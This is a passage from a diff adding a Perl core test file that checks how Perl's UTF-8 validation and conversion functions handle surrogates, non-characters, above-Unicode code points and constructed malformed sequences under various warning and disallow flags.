+ return $succeeded;
+}
+
+# This test is split into this number of files.
+my $num_test_files = $ENV{TEST_JOBS} || 1;
+$num_test_files = 10 if $num_test_files > 10;
+
+# We only really need to test utf8n_to_uvchr_msgs() once with this flag.
+my $tested_CHECK_ONLY = 0;
+
+my $test_count = -1;
+foreach my $test (@tests) {
+ $test_count++;
+ next if $test_count % $num_test_files != $::TEST_CHUNK;
+
+ my ($testname, $bytes, $allowed_uv, $needed_to_discern_len) = @$test;
+
+ my $length = length $bytes;
+ my $initially_overlong = $testname =~ /overlong/;
+ my $initially_orphan = $testname =~ /orphan/;
+ my $will_overflow = $allowed_uv < 0;
+
+ my $uv_string = sprintf(($allowed_uv < 0x100) ? "%02X" : "%04X", $allowed_uv);
+ my $display_bytes = display_bytes($bytes);
+
+ my $controlling_warning_category;
+ my $utf8n_flag_to_warn;
+ my $utf8n_flag_to_disallow;
+ my $uvchr_flag_to_warn;
+ my $uvchr_flag_to_disallow;
+
+ # We want to test that the independent flags are actually independent.
+ # For example, that a surrogate doesn't trigger a non-character warning,
+ # and conversely, turning off an above-Unicode flag doesn't suppress a
+ # surrogate warning. Earlier versions of this file used nested loops to
+ # test all possible combinations. But that creates lots of tests, making
+ # this run too long. What is now done instead is to use the complement of
+ # the category we are testing to greatly reduce the combinatorial
+ # explosion. For example, if we have a surrogate and we aren't expecting
+ # a warning about it, we set all the flags for non-surrogates to raise
+ # warnings. If one shows up, it indicates the flags aren't independent.
+ my $utf8n_flag_to_warn_complement;
+ my $utf8n_flag_to_disallow_complement;
+ my $uvchr_flag_to_warn_complement;
+ my $uvchr_flag_to_disallow_complement;
+
+ # Many of the code points being tested are middling in that if code point
+ # edge cases work, these are very likely to as well. Because this test
+ # file takes a while to execute, we skip testing the edge effects of code
+ # points deemed middling, while testing their basics and continuing to
+ # fully test the non-middling code points.
+ my $skip_most_tests = 0;
+
+ my $cp_message_qr; # Pattern that matches the message raised when
+ # that message contains the problematic code
+ # point. The message is the same (currently) both
+ # when going from/to utf8.
+ my $non_cp_trailing_text; # The suffix text when the message doesn't
+ # contain a code point. (This is a result of
+ # some sort of malformation that means we
+ # can't get an exact code poin
+ my $extended_cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E
+ \Q requires a Perl extension, and so is not\E
+ \Q portable\E/x;
+ my $extended_non_cp_trailing_text
+ = "is a Perl extension, and so is not portable";
+
+ # What bytes should have been used to specify a code point that has been
+ # specified as an overlong.
+ my $correct_bytes_for_overlong;
+
+ # Is this test malformed from the beginning? If so, we know to generally
+ # expect that the tests will show it isn't valid.
+ my $initially_malformed = 0;
+
+ if ($initially_overlong || $initially_orphan) {
+ $non_cp_trailing_text = "if you see this, there is an error";
+ $cp_message_qr = qr/\Q$non_cp_trailing_text\E/;
+ $initially_malformed = 1;
+ $utf8n_flag_to_warn = 0;
+ $utf8n_flag_to_disallow = 0;
+
+ $utf8n_flag_to_warn_complement = $::UTF8_WARN_SURROGATE;
+ $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE;
+ if (! $will_overflow && $allowed_uv <= 0x10FFFF) {
+ $utf8n_flag_to_warn_complement |= $::UTF8_WARN_SUPER;
+ $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_SUPER;
+ if (($allowed_uv & 0xFFFF) != 0xFFFF) {
+ $utf8n_flag_to_warn_complement |= $::UTF8_WARN_NONCHAR;
+ $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_NONCHAR;
+ }
+ }
+ if (! is_extended_utf8($bytes)) {
+ $utf8n_flag_to_warn_complement |= $::UTF8_WARN_PERL_EXTENDED;
+ $utf8n_flag_to_disallow_complement |= $::UTF8_DISALLOW_PERL_EXTENDED;
+ }
+
+ $controlling_warning_category = 'utf8';
+
+ if ($initially_overlong) {
+ if (! defined $needed_to_discern_len) {
+ $needed_to_discern_len = overlong_discern_len($bytes);
+ }
+ $correct_bytes_for_overlong = display_bytes_no_quotes(chr $allowed_uv);
+ }
+ }
+ elsif($will_overflow || $allowed_uv > 0x10FFFF) {
+
+ # Set the SUPER flags; later, we test for PERL_EXTENDED as well.
+ $utf8n_flag_to_warn = $::UTF8_WARN_SUPER;
+ $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SUPER;
+ $uvchr_flag_to_warn = $::UNICODE_WARN_SUPER;
+ $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SUPER;;
+
+ # Below, we add the flags for non-perl_extended to the code points
+ # that don't fit that category. Special tests are done for this
+ # category in the inner loop.
+ $utf8n_flag_to_warn_complement = $::UTF8_WARN_NONCHAR
+ |$::UTF8_WARN_SURROGATE;
+ $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR
+ |$::UTF8_DISALLOW_SURROGATE;
+ $uvchr_flag_to_warn_complement = $::UNICODE_WARN_NONCHAR
+ |$::UNICODE_WARN_SURROGATE;
+ $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR
+ |$::UNICODE_DISALLOW_SURROGATE;
+ $controlling_warning_category = 'non_unicode';
+
+ if ($will_overflow) { # This is realy a malformation
+ $non_cp_trailing_text = "if you see this, there is an error";
+ $cp_message_qr = qr/\Q$non_cp_trailing_text\E/;
+ $initially_malformed = 1;
+ if (! defined $needed_to_discern_len) {
+ $needed_to_discern_len = overflow_discern_len($length);
+ }
+ }
+ elsif (requires_extended_utf8($allowed_uv)) {
+ $cp_message_qr = $extended_cp_message_qr;
+ $non_cp_trailing_text = $extended_non_cp_trailing_text;
+ $needed_to_discern_len = 1 unless defined $needed_to_discern_len;
+ }
+ else {
+ $cp_message_qr = qr/\QCode point 0x$uv_string is not Unicode,\E
+ \Q may not be portable\E/x;
+ $non_cp_trailing_text = "is for a non-Unicode code point, may not"
+ . " be portable";
+ $utf8n_flag_to_warn_complement |= $::UTF8_WARN_PERL_EXTENDED;
+ $utf8n_flag_to_disallow_complement
+ |= $::UTF8_DISALLOW_PERL_EXTENDED;
+ $uvchr_flag_to_warn_complement |= $::UNICODE_WARN_PERL_EXTENDED;
+ $uvchr_flag_to_disallow_complement
+ |= $::UNICODE_DISALLOW_PERL_EXTENDED;
+ }
+ }
+ elsif ($allowed_uv >= 0xD800 && $allowed_uv <= 0xDFFF) {
+ $cp_message_qr = qr/UTF-16 surrogate U\+$uv_string/;
+ $non_cp_trailing_text = "is for a surrogate";
+ $needed_to_discern_len = 2 unless defined $needed_to_discern_len;
+ $skip_most_tests = 1 if $allowed_uv > 0xD800 && $allowed_uv < 0xDFFF;
+
+ $utf8n_flag_to_warn = $::UTF8_WARN_SURROGATE;
+ $utf8n_flag_to_disallow = $::UTF8_DISALLOW_SURROGATE;
+ $uvchr_flag_to_warn = $::UNICODE_WARN_SURROGATE;
+ $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_SURROGATE;;
+
+ $utf8n_flag_to_warn_complement = $::UTF8_WARN_NONCHAR
+ |$::UTF8_WARN_SUPER
+ |$::UTF8_WARN_PERL_EXTENDED;
+ $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_NONCHAR
+ |$::UTF8_DISALLOW_SUPER
+ |$::UTF8_DISALLOW_PERL_EXTENDED;
+ $uvchr_flag_to_warn_complement = $::UNICODE_WARN_NONCHAR
+ |$::UNICODE_WARN_SUPER
+ |$::UNICODE_WARN_PERL_EXTENDED;
+ $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_NONCHAR
+ |$::UNICODE_DISALLOW_SUPER
+ |$::UNICODE_DISALLOW_PERL_EXTENDED;
+ $controlling_warning_category = 'surrogate';
+ }
+ elsif ( ($allowed_uv >= 0xFDD0 && $allowed_uv <= 0xFDEF)
+ || ($allowed_uv & 0xFFFE) == 0xFFFE)
+ {
+ $cp_message_qr = qr/\QUnicode non-character U+$uv_string\E
+ \Q is not recommended for open interchange\E/x;
+ $non_cp_trailing_text = "if you see this, there is an error";
+ $needed_to_discern_len = $length unless defined $needed_to_discern_len;
+ if ( ($allowed_uv > 0xFDD0 && $allowed_uv < 0xFDEF)
+ || ($allowed_uv > 0xFFFF && $allowed_uv < 0x10FFFE))
+ {
+ $skip_most_tests = 1;
+ }
+
+ $utf8n_flag_to_warn = $::UTF8_WARN_NONCHAR;
+ $utf8n_flag_to_disallow = $::UTF8_DISALLOW_NONCHAR;
+ $uvchr_flag_to_warn = $::UNICODE_WARN_NONCHAR;
+ $uvchr_flag_to_disallow = $::UNICODE_DISALLOW_NONCHAR;;
+
+ $utf8n_flag_to_warn_complement = $::UTF8_WARN_SURROGATE
+ |$::UTF8_WARN_SUPER
+ |$::UTF8_WARN_PERL_EXTENDED;
+ $utf8n_flag_to_disallow_complement = $::UTF8_DISALLOW_SURROGATE
+ |$::UTF8_DISALLOW_SUPER
+ |$::UTF8_DISALLOW_PERL_EXTENDED;
+ $uvchr_flag_to_warn_complement = $::UNICODE_WARN_SURROGATE
+ |$::UNICODE_WARN_SUPER
+ |$::UNICODE_WARN_PERL_EXTENDED;
+ $uvchr_flag_to_disallow_complement = $::UNICODE_DISALLOW_SURROGATE
+ |$::UNICODE_DISALLOW_SUPER
+ |$::UNICODE_DISALLOW_PERL_EXTENDED;
+
+ $controlling_warning_category = 'nonchar';
+ }
+ else {
+ die "Can't figure out what type of warning to test for $testname"
+ }
+
+ die 'Didn\'t set $needed_to_discern_len for ' . $testname
+ unless defined $needed_to_discern_len;
+
+ # We try various combinations of malformations that can occur
+ foreach my $short (0, 1) {
+ next if $skip_most_tests && $short;
+ foreach my $unexpected_noncont (0, 1) {
+ next if $skip_most_tests && $unexpected_noncont;
+ foreach my $overlong (0, 1) {
+ next if $overlong && $skip_most_tests;
+ next if $initially_overlong && ! $overlong;
+
+ # If we're creating an overlong, it can't be longer than the
+ # maximum length, so skip if we're already at that length.
+ next if (! $initially_overlong && $overlong)
+ && $length >= $::max_bytes;
+
+ my $this_cp_message_qr = $cp_message_qr;
+ my $this_non_cp_trailing_text = $non_cp_trailing_text;
+
+ foreach my $malformed_allow_type (0..2) {
+ # 0 don't allow this malformation; ignored if no malformation
+ # 1 allow, with REPLACEMENT CHARACTER returned
+ # 2 allow, with intended code point returned. All malformations
+ # other than overlong can't determine the intended code point,
+ # so this isn't valid for them.
+ next if $malformed_allow_type == 2
+ && ($will_overflow || $short || $unexpected_noncont);
+ next if $skip_most_tests && $malformed_allow_type;
+
+ # Here we are in the innermost loop for malformations. So we
+ # know which ones are in effect. Can now change the input to be
+ # appropriately malformed. We also can set up certain other
+ # things now, like whether we expect a return flag from this
+ # malformation, and which flag.
+
+ my $this_bytes = $bytes;
+ my $this_length = $length;
+ my $this_expected_len = $length;
+ my $this_needed_to_discern_len = $needed_to_discern_len;
+
+ my @malformation_names;
+ my @expected_malformation_warnings;
+ my @expected_malformation_return_flags;
+
+ # Contains the flags for any allowed malformations. Currently no
+ # combinations of on/off are tested for. It's either all are
+ # allowed, or none are.
+ my $allow_flags = 0;
+ my $overlong_is_in_perl_extended_utf8 = 0;
+ my $dont_use_overlong_cp = 0;
+
+ if ($initially_orphan) {
+ next if $overlong || $short || $unexpected_noncont;
+ }
+
+ if ($overlong) {
+ if (! $initially_overlong) {
+ my $new_expected_len;
+
+ # To force this malformation, we convert the original start
+ # byte into a continuation byte with the same data bits as
+ # originally. ...
+ my $start_byte = substr($this_bytes, 0, 1);
+ my $converted_to_continuation_byte
+ = start_byte_to_cont($start_byte);
+
+ # ... Then we prepend it with a known overlong sequence.
+ # This should evaluate to the exact same code point as the
+ # original. We try to avoid an overlong using Perl
+ # extended UTF-8. The code points are the highest
+ # representable as overlongs on the respective platform
+ # without using extended UTF-8.
+ if (native_to_I8($start_byte) lt "\xFC") {
+ $start_byte = I8_to_native("\xFC");
+ $new_expected_len = 6;
+ }
+ elsif (! isASCII && native_to_I8($start_byte) lt "\xFE") {
+
+ # FE is not extended UTF-8 on EBCDIC
+ $start_byte = I8_to_native("\xFE");
+ $new_expected_len = 7;
+ }
+ else { # Must use extended UTF-8. On ASCII platforms, we
+ # could express some overlongs here starting with
+ # \xFE, but there's no real reason to do so.
+ $overlong_is_in_perl_extended_utf8 = 1;
+ $start_byte = I8_to_native("\xFF");
+ $new_expected_len = $::max_bytes;
+ $this_cp_message_qr = $extended_cp_message_qr;
+
+ # The warning that gets raised doesn't include the
+ # code point in the message if the code point can be
+ # expressed without using extended UTF-8, but the
+ # particular overlong sequence used is in extended
+ # UTF-8. To do otherwise would be confusing to the
+ # user, as it would claim the code point requires
+ # extended, when it doesn't.
+ $dont_use_overlong_cp = 1
+ unless requires_extended_utf8($allowed_uv);
+ $this_non_cp_trailing_text
+ = $extended_non_cp_trailing_text;
+ }
+
+ # Splice in the revise continuation byte, preceded by the
+ # start byte and the proper number of the lowest
+ # continuation bytes.
+ $this_bytes = $start_byte
+ . ($native_lowest_continuation_chr
+ x ( $new_expected_len
+ - 1
+ - length($this_bytes)))
+ . $converted_to_continuation_byte
+ . substr($this_bytes, 1);
+ $this_length = length($this_bytes);
+ $this_needed_to_discern_len = $new_expected_len
+ - ( $this_expected_len
+ - $this_needed_to_discern_len);
+ $this_expected_len = $new_expected_len;
+ }
+ }
+
+ if ($short) {
+
+ # To force this malformation, just tell the test to not look
+ # as far as it should into the input.
+ $this_length--;
+ $this_expected_len--;
+
+ $allow_flags |= $::UTF8_ALLOW_SHORT if $malformed_allow_type;
+ }
+
+ if ($unexpected_noncont) {
+
+ # To force this malformation, change the final continuation
+ # byte into a start byte.
+ my $pos = ($short) ? -2 : -1;
+ substr($this_bytes, $pos, 1) = $known_start_byte;
+ $this_expected_len--;
+ }
+
+ # The whole point of a test that is malformed from the beginning
+ # is to test for that malformation. If we've modified things so
+ # much that we don't have enough information to detect that
+ # malformation, there's no point in testing.
+ next if $initially_malformed
+ && $this_expected_len < $this_needed_to_discern_len;
+
+ # Here, we've transformed the input with all of the desired
+ # non-overflow malformations. We are now in a position to
+ # construct any potential warnings for those malformations. But
+ # it's a pain to get the detailed messages exactly right, so for
+ # now XXX, only do so for those that return an explicit code
+ # point.
+
+ if ($initially_orphan) {
+ push @malformation_names, "orphan continuation";
+ push @expected_malformation_return_flags,
+ $::UTF8_GOT_CONTINUATION;
+ $allow_flags |= $::UTF8_ALLOW_CONTINUATION
+ if $malformed_allow_type;
+ push @expected_malformation_warnings, qr/unexpected continuation/;
+ }
+
+ if ($overlong) {
+ push @malformation_names, 'overlong';
+ push @expected_malformation_return_flags, $::UTF8_GOT_LONG;
+
+ # If one of the other malformation types is also in effect, we
+ # don't know what the intended code point was.
+ if ($short || $unexpected_noncont || $will_overflow) {
+ push @expected_malformation_warnings, qr/overlong/;
+ }
+ else {
+ my $wrong_bytes = display_bytes_no_quotes(
+ substr($this_bytes, 0, $this_length));
+ if (! defined $correct_bytes_for_overlong) {
+ $correct_bytes_for_overlong
+ = display_bytes_no_quotes($bytes);
+ }
+ my $prefix = ( $allowed_uv > 0x10FFFF
+ || ! isASCII && $allowed_uv < 256)
+ ? "0x"
+ : "U+";
+ push @expected_malformation_warnings,
+ qr/\QMalformed UTF-8 character: $wrong_bytes\E
+ \Q (overlong; instead use\E
+ \Q $correct_bytes_for_overlong to\E
+ \Q represent $prefix$uv_string)/x;
+ }
+
+ if ($malformed_allow_type == 2) {
+ $allow_flags |= $::UTF8_ALLOW_LONG_AND_ITS_VALUE;
+ }
+ elsif ($malformed_allow_type) {
+ $allow_flags |= $::UTF8_ALLOW_LONG;
+ }
+ }
+ if ($short) {
+ push @malformation_names, 'short';
+ push @expected_malformation_return_flags, $::UTF8_GOT_SHORT;
+ push @expected_malformation_warnings, qr/too short/;
+ }
+ if ($unexpected_noncont) {
+ push @malformation_names, 'unexpected non-continuation';
+ push @expected_malformation_return_flags,
+ $::UTF8_GOT_NON_CONTINUATION;
+ $allow_flags |= $::UTF8_ALLOW_NON_CONTINUATION
+ if $malformed_allow_type;
+ push @expected_malformation_warnings,
+ qr/unexpected non-continuation byte/;
+ }
+
+ # The overflow malformation is done differently than other
+ # malformations. It comes from manually typed tests in the test
+ # array. We now make it be treated like one of the other
+ # malformations. But some has to be deferred until the inner loop
+ my $overflow_msg_pattern;
+ if ($will_overflow) {
+ push @malformation_names, 'overflow';
+
+ $overflow_msg_pattern = display_bytes_no_quotes(
+ substr($this_bytes, 0, $this_expected_len));
+ $overflow_msg_pattern = qr/\QMalformed UTF-8 character:\E
+ \Q $overflow_msg_pattern\E
+ \Q (overflows)\E/x;
+ push @expected_malformation_return_flags, $::UTF8_GOT_OVERFLOW;
+ $allow_flags |= $::UTF8_ALLOW_OVERFLOW if $malformed_allow_type;
+ }
+
+ # And we can create the malformation-related text for the the test
+ # names we eventually will generate.
+ my $malformations_name = "";
+ if (@malformation_names) {
+ $malformations_name .= "dis" unless $malformed_allow_type;
+ $malformations_name .= "allowed ";
+ $malformations_name .= "malformation";
+ $malformations_name .= "s" if @malformation_names > 1;
+ $malformations_name .= ": ";
+ $malformations_name .= join "/", @malformation_names;
+ $malformations_name = " ($malformations_name)";
+ }
+
+ # Done setting up the malformation related stuff
+
+ { # First test the isFOO calls
+ use warnings; # XXX no warnings 'deprecated'; # Make sure these don't raise warnings
+ undef @warnings_gotten;
+
+ my $ret = test_isUTF8_CHAR($this_bytes, $this_length);
+ my $ret_flags
+ = test_isUTF8_CHAR_flags($this_bytes, $this_length, 0);
+ if ($malformations_name) {
+ is($ret, 0, "For $testname$malformations_name: isUTF8_CHAR() returns 0");
+ is($ret_flags, 0, " And isUTF8_CHAR_flags() returns 0");
+ }
+ else {
+ is($ret, $this_length, "For $testname: isUTF8_CHAR() returns"
+ . " expected length: $this_length");
+ is($ret_flags, $this_length,
+ " And isUTF8_CHAR_flags(...,0) returns expected"
+ . " length: $this_length");
+ }
+ is(scalar @warnings_gotten, 0,
+ " And neither isUTF8_CHAR() nor isUTF8_CHAR()_flags"
+ . " generated any warnings")
+ or output_warnings(@warnings_gotten);
+
+ undef @warnings_gotten;
+ $ret = test_isSTRICT_UTF8_CHAR($this_bytes, $this_length);
+ if ($malformations_name) {
+ is($ret, 0, " And isSTRICT_UTF8_CHAR() returns 0");
+ }
+ else {
+ my $expected_ret
+ = ( $testname =~ /surrogate|non-character/
+ || $allowed_uv > 0x10FFFF)
+ ? 0
+ : $this_length;
+ is($ret, $expected_ret,
+ " And isSTRICT_UTF8_CHAR() returns expected"
+ . " length: $expected_ret");
+ $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+ $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE);
+ is($ret, $expected_ret,
+ " And isUTF8_CHAR_flags('"
+ . "DISALLOW_ILLEGAL_INTERCHANGE') acts like"
+ . " isSTRICT_UTF8_CHAR");
+ }
+ is(scalar @warnings_gotten, 0,
+ " And neither isSTRICT_UTF8_CHAR() nor"
+ . " isUTF8_CHAR_flags generated any warnings")
+ or output_warnings(@warnings_gotten);
+
+ undef @warnings_gotten;
+ $ret = test_isC9_STRICT_UTF8_CHAR($this_bytes, $this_length);
+ if ($malformations_name) {
+ is($ret, 0, " And isC9_STRICT_UTF8_CHAR() returns 0");
+ }
+ else {
+ my $expected_ret = ( $testname =~ /surrogate/
+ || $allowed_uv > 0x10FFFF)
+ ? 0
+ : $this_expected_len;
+ is($ret, $expected_ret, " And isC9_STRICT_UTF8_CHAR()"
+ . " returns expected length:"
+ . " $expected_ret");
+ $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+ $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE);
+ is($ret, $expected_ret,
+ " And isUTF8_CHAR_flags('"
+ . "DISALLOW_ILLEGAL_C9_INTERCHANGE') acts like"
+ . " isC9_STRICT_UTF8_CHAR");
+ }
+ is(scalar @warnings_gotten, 0,
+ " And neither isC9_STRICT_UTF8_CHAR() nor"
+ . " isUTF8_CHAR_flags generated any warnings")
+ or output_warnings(@warnings_gotten);
+
+ foreach my $disallow_type (0..2) {
+ # 0 is don't disallow this type of code point
+ # 1 is do disallow
+ # 2 is do disallow, but only code points requiring
+ # perl-extended-UTF8
+
+ my $disallow_flags;
+ my $expected_ret;
+
+ if ($malformations_name) {
+
+ # Malformations are by default disallowed, so testing
+ # with $disallow_type equal to 0 is sufficicient.
+ next if $disallow_type;
+
+ $disallow_flags = 0;
+ $expected_ret = 0;
+ }
+ elsif ($disallow_type == 1) {
+ $disallow_flags = $utf8n_flag_to_disallow;
+ $expected_ret = 0;
+ }
+ elsif ($disallow_type == 2) {
+ next if ! requires_extended_utf8($allowed_uv);
+ $disallow_flags = $::UTF8_DISALLOW_PERL_EXTENDED;
+ $expected_ret = 0;
+ }
+ else { # type is 0
+ $disallow_flags = $utf8n_flag_to_disallow_complement;
+ $expected_ret = $this_length;
+ }
+
+ $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+ $disallow_flags);
+ is($ret, $expected_ret,
+ " And isUTF8_CHAR_flags($display_bytes,"
+ . " $disallow_flags) returns $expected_ret")
+ or diag "The flags mean "
+ . flags_to_text($disallow_flags,
+ \@utf8n_flags_to_text);
+ is(scalar @warnings_gotten, 0,
+ " And isUTF8_CHAR_flags(...) generated"
+ . " no warnings")
+ or output_warnings(@warnings_gotten);
+
+ # Test partial character handling, for each byte not a
+ # full character
+ my $did_test_partial = 0;
+ for (my $j = 1; $j < $this_length - 1; $j++) {
+ $did_test_partial = 1;
+ my $partial = substr($this_bytes, 0, $j);
+ my $ret_should_be;
+ my $comment;
+ if ($disallow_type || $malformations_name) {
+ $ret_should_be = 0;
+ $comment = "disallowed";
+
+ # The number of bytes required to tell if a
+ # sequence has something wrong is the smallest of
+ # all the things wrong with it. We start with the
+ # number for this type of code point, if that is
+ # disallowed; or the whole length if not. The
+ # latter is what a couple of the malformations
+ # require.
+ my $needed_to_tell = ($disallow_type)
+ ? $this_needed_to_discern_len
+ : $this_expected_len;
+
+ # Then we see if the malformations that are
+ # detectable early in the string are present.
+ if ($overlong) {
+ my $dl = overlong_discern_len($this_bytes);
+ $needed_to_tell = $dl if $dl < $needed_to_tell;
+ }
+ if ($will_overflow) {
+ my $dl = overflow_discern_len($length);
+ $needed_to_tell = $dl if $dl < $needed_to_tell;
+ }
+
+ if ($j < $needed_to_tell) {
+ $ret_should_be = 1;
+ $comment .= ", but need $needed_to_tell"
+ . " bytes to discern:";
+ }
+ }
+ else {
+ $ret_should_be = 1;
+ $comment = "allowed";
+ }
+
+ undef @warnings_gotten;
+
+ $ret = test_is_utf8_valid_partial_char_flags($partial,
+ $j, $disallow_flags);
+ is($ret, $ret_should_be,
+ " And is_utf8_valid_partial_char_flags("
+ . display_bytes($partial)
+ . ", $disallow_flags), $comment: returns"
+ . " $ret_should_be")
+ or diag "The flags mean "
+ . flags_to_text($disallow_flags, \@utf8n_flags_to_text);
+ }
+
+ if ($did_test_partial) {
+ is(scalar @warnings_gotten, 0,
+ " And is_utf8_valid_partial_char_flags()"
+ . " generated no warnings for any of the lengths")
+ or output_warnings(@warnings_gotten);
+ }
+ }
+ }
+
+ # Now test the to/from UTF-8 calls. There are several orthogonal
+ # variables involved. We test most possible combinations
+
+ foreach my $do_disallow (0, 1) {
+ if ($do_disallow) {
+ next if $initially_overlong || $initially_orphan;
+ }
+ else {
+ next if $skip_most_tests;
+ }
+
+ # This tests four functions: utf8n_to_uvchr_error,
+ # utf8n_to_uvchr_msgs, uvchr_to_utf8_flags, and
+ # uvchr_to_utf8_msgs. The first two are variants of each other,
+ # and the final two also form a pair. We use a loop 'which_func'
+ # to determine which of each pair is being tested. The main loop
+ # tests either the first and third, or the 2nd and fourth.
+ # which_func is sets whether we are expecting warnings or not in
+ # certain places. The _msgs() version of the functions expects
+ # warnings even if lexical ones are turned off, so by making its
+ # which_func == 1, we can say we want warnings; whereas the other
+ # one with the value 0, doesn't get them.
+ for my $which_func (0, 1) {
+ my $utf8_func = ($which_func)
+ ? 'utf8n_to_uvchr_msgs'
+ : 'utf8n_to_uvchr_error';
+
+ # We classify the warnings into certain "interesting" types,
+ # described later
+ foreach my $warning_type (0..4) {
+ next if $skip_most_tests && $warning_type != 1;
+ foreach my $use_warn_flag (0, 1) {
+ if ($use_warn_flag) {
+ next if $initially_overlong || $initially_orphan;
+
+ # Since foo_msgs() expects warnings even when lexical
+ # ones are turned off, we can skip testing it when
+ # they are turned on, with little likelihood of
+ # missing an error case.
+ next if $which_func;
+ }
+ else {
+ next if $skip_most_tests;
+ }
+
+ # Finally, here is the inner loop
+
+ my $this_utf8n_flag_to_warn = $utf8n_flag_to_warn;
+ my $this_utf8n_flag_to_disallow = $utf8n_flag_to_disallow;
+ my $this_uvchr_flag_to_warn = $uvchr_flag_to_warn;
+ my $this_uvchr_flag_to_disallow = $uvchr_flag_to_disallow;
+
+ my $eval_warn;
+ my $expect_regular_warnings;
+ my $expect_warnings_for_malformed;
+ my $expect_warnings_for_overflow;
+
+ if ($warning_type == 0) {
+ $eval_warn = "use warnings";
+ $expect_regular_warnings = $use_warn_flag;
+
+ # We ordinarily expect overflow warnings here. But it
+ # is somewhat more complicated, and the final
+ # determination is deferred to one place in the file
+ # where we handle overflow.
+ $expect_warnings_for_overflow = 1;
+
+ # We would ordinarily expect malformed warnings in
+ # this case, but not if malformations are allowed.
+ $expect_warnings_for_malformed
+ = $malformed_allow_type == 0;
+ }
+ elsif ($warning_type == 1) {
+ $eval_warn = "no warnings";
+ $expect_regular_warnings = $which_func;
+ $expect_warnings_for_overflow = $which_func;
+ $expect_warnings_for_malformed = $which_func;
+ }
+ elsif ($warning_type == 2) {
+ $eval_warn = "no warnings; use warnings 'utf8'";
+ $expect_regular_warnings = $use_warn_flag;
+ $expect_warnings_for_overflow = 1;
+ $expect_warnings_for_malformed
+ = $malformed_allow_type == 0;
+ }
+ elsif ($warning_type == 3) {
+ $eval_warn = "no warnings; use warnings"
+ . " '$controlling_warning_category'";
+ $expect_regular_warnings = $use_warn_flag;
+ $expect_warnings_for_overflow
+ = $controlling_warning_category eq 'non_unicode';
+ $expect_warnings_for_malformed = $which_func;
+ }
+ elsif ($warning_type == 4) { # Like type 3, but uses the
+ # PERL_EXTENDED flags
+ # The complement flags were set up so that the
+ # PERL_EXTENDED flags have been tested that they don't
+ # trigger wrongly for too small code points. And the
+ # flags have been set up so that those small code
+ # points are tested for being above Unicode. What's
+ # left to test is that the large code points do
+ # trigger the PERL_EXTENDED flags.
+ next if ! requires_extended_utf8($allowed_uv);
+ next if $controlling_warning_category ne 'non_unicode';
+ $eval_warn = "no warnings; use warnings 'non_unicode'";
+ $expect_regular_warnings = 1;
+ $expect_warnings_for_overflow = 1;
+ $expect_warnings_for_malformed = 0;
+ $this_utf8n_flag_to_warn = $::UTF8_WARN_PERL_EXTENDED;
+ $this_utf8n_flag_to_disallow
+ = $::UTF8_DISALLOW_PERL_EXTENDED;
+ $this_uvchr_flag_to_warn
+ = $::UNICODE_WARN_PERL_EXTENDED;
+ $this_uvchr_flag_to_disallow
+ = $::UNICODE_DISALLOW_PERL_EXTENDED;
+ }
+ else {
+ die "Unexpected warning type '$warning_type'";
+ }
+
+ # We only need to test the case where all warnings are
+ # enabled (type 0) to see if turning off the warning flag
+ # causes things to not be output. If those pass, then
+ # turning on some sub-category of warnings, or turning off
+ # warnings altogether are extremely likely to not output
+ # warnings either, given how the warnings subsystem is
+ # supposed to work, and this file assumes it does work.
+ next if $warning_type != 0 && ! $use_warn_flag;
+
+ # The convention is that the 'got' flag is the same value
+ # as the disallow one. If this were violated, the tests
+ # here should start failing.
+ my $return_flag = $this_utf8n_flag_to_disallow;
+
+ # If we aren't expecting warnings/disallow for this, turn
+ # on all the other flags. That makes sure that they all
+ # are independent of this flag, and so we don't need to
+ # test them individually.
+ my $this_warning_flags
+ = ($use_warn_flag)
+ ? $this_utf8n_flag_to_warn
+ : ($overlong_is_in_perl_extended_utf8
+ ? ($utf8n_flag_to_warn_complement
+ & ~$::UTF8_WARN_PERL_EXTENDED)
+ : $utf8n_flag_to_warn_complement);
+ my $this_disallow_flags
+ = ($do_disallow)
+ ? $this_utf8n_flag_to_disallow
+ : ($overlong_is_in_perl_extended_utf8
+ ? ($utf8n_flag_to_disallow_complement
+ & ~$::UTF8_DISALLOW_PERL_EXTENDED)
+ : $utf8n_flag_to_disallow_complement);
+ my $expected_uv = $allowed_uv;
+ my $this_uv_string = $uv_string;
+
+ my @expected_return_flags
+ = @expected_malformation_return_flags;
+ my @expected_warnings;
+ push @expected_warnings, @expected_malformation_warnings
+ if $expect_warnings_for_malformed;
+
+ # The overflow malformation is done differently than other
+ # malformations. It comes from manually typed tests in
+ # the test array, but it also is above Unicode and uses
+ # Perl extended UTF-8, so affects some of the flags being
+ # tested. We now make it be treated like one of the other
+ # generated malformations.
+ if ($will_overflow) {
+
+ # An overflow is (way) above Unicode, and overrides
+ # everything else.
+ $expect_regular_warnings = 0;
+
+ # Earlier, we tentatively calculated whether this
+ # should emit a message or not. It's tentative
+ # because, even if we ordinarily would output it, we
+ # don't if malformations are allowed -- except an
+ # overflow is also a SUPER and PERL_EXTENDED, and if
+ # warnings for those are enabled, the overflow
+ # warning does get raised.
+ if ( $expect_warnings_for_overflow
+ && ( $malformed_allow_type == 0
+ || ( $this_warning_flags
+ & ($::UTF8_WARN_SUPER
+ |$::UTF8_WARN_PERL_EXTENDED))))
+ {
+ push @expected_warnings, $overflow_msg_pattern;
+ }
+ }
+
+ # It may be that the malformations have shortened the
+ # amount of input we look at so much that we can't tell
+ # what the category the code point was in. Otherwise, set
+ # up the expected return flags based on the warnings and
+ # disallowments.
+ if ($this_expected_len < $this_needed_to_discern_len) {
+ $expect_regular_warnings = 0;
+ }
+ elsif ( ($this_warning_flags & $this_utf8n_flag_to_warn)
+ || ( $this_disallow_flags
